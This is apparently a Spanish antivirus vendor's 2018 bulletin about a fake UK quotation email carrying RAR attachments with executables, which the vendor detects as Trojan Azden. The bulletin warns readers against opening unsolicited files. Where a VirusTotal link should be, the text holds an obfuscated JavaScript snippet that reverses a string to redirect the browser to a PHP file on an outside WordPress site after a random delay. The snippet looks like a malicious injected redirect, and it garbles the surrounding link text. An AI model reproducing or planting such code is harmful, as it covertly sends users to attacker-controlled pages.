NUEVO MAIL QUE SE RECIBE ANEXANDO DOS .RAR QUE CONTIENEN SENDOS EXE.

Un mail está llegando con dos anexados sospechosos:

Samples Product pdf.RAR

Specifications & Drawings pdf.RAR

El texto del mail es el siguiente:

_______________

Asunto: UK Based Ltd. Quotation Enquiry
De: “Claire Morgan” <claire@refurb1.mhglobalmc1.co.uk>
Fecha: 03/10/2018 12:59
Para: “Claire Morgan” <claire@refurb1.mhglobalm1.co.uk>

Good morning,
We are GLOBAL REFURB & Restore Co. Ltd based in United Kingdom, England, we are interested in your product but with different designs, drawings and specifications.
Please download the attached specifications & drawings.
For the best view of the Samples we have Listed 3 Samples of the needed products Sample(A) Sample (B) and Sample (C) with different designs required.
Kindly confirm if you can supply and also send us your quotation to include the following;
– FOB / CIF Prices/ Port of loading
– Payment Terms
– Estimated Time of Delivery
Thanks

Claire Morgan

Manager

01804 806 039

claire@refurb1.mhglobalmc1.co.uk

Refurb & Restore

Registered in England No. 7527847 VAT No. 107659600

VAT No. 107659600

Information in this email including any attachments may be privileged, confidential and is intended exclusively for the addressee. The views expressed may not be official policy, but the personal views of the originator. You should not reproduce, distribute, store, retransmit, use or disclose its contents to anyone.

Please consider your environmental responsibility before printing this email.

Ficheros anexados:

Samples Product pdf.RAR

Specifications & Drawings pdf.RAR

______________

Desempaquetando dichos RAR se obtienen estos otros ficheros:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/f27b621069d7f5238a287f72fb7c1b5e0e1009a4290c3b8a4031083d361fc58e/analysis/1538580976/” target=”_blank” rel=”noopener”>Specifications & Drawings pdf.exe

________________

Aunque varios AV los detectan como URSU, su ejecución no queda residente ni hace cambios, solo aparece UNEXPECTED ERROR, pero los pasamos a controlar como ospechoso que son al detectarlos tantos AV

Pasamos a controlarlos a partir de la versión del ELISTARA 39.83 de hoy como Microsoft  (Trojan AZDEN):
Microsoft : Trojan:Win32/Azden.A!cl : 20181003

COMO YA VAMOS INDICANDO REPETIDAMENTE, NO SE DEBEN EJECUTAR NI FICHEROS NI ENLACES NI IMAGENES QUE NO SE HAYAN SOLICITADO, AUNQUE SE CONOZCA EL REMITENTE O VENGAN DE ALGUNA ENTIDAD CONOCIDA, Y MENOS ENVIAR DATOS QUE PUDIERAN SOLICITAR !!!

saludos

ms, 3.10.2018